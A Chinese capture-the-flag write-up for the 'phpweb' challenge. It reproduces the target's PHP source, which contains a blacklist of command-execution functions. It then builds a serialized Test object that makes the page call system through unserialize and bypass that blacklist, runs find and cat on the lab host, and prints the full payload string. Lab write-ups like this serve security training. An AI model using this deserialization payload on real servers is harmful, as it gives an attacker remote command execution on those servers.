BUGSHOW [网鼎杯 2020 朱雀组]phpweb 序列化绕过执行

打开靶机

 

 

 看到有报错，抓个包试试

（捏嘛上来一个孙笑川）

 

 

 明显是传值然后func是函数名，p是内容，构造一下eval(<?php phpinfo()?>)试试,被过滤

 

 

 那就试试highlight_file(),读到了网页源码

<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

看到Class就应该本能的想到序列化了，该过滤的都过滤的差不多了，试试序列化绕过

<?php
class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
}

$a = new Test();
$a->func = "system";
$a->p = "find / -name flag*";
echo serialize($a);
?>

注意，find需要指定一个目录，我们不知道flag文件在哪就应该直接在 / 目录里面找，find / -name flag*

序列化后应该反序列化回去，所以payload为

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

 

 不出意外就是这了，用cat /tmp/flag.....重复一下

得到了flag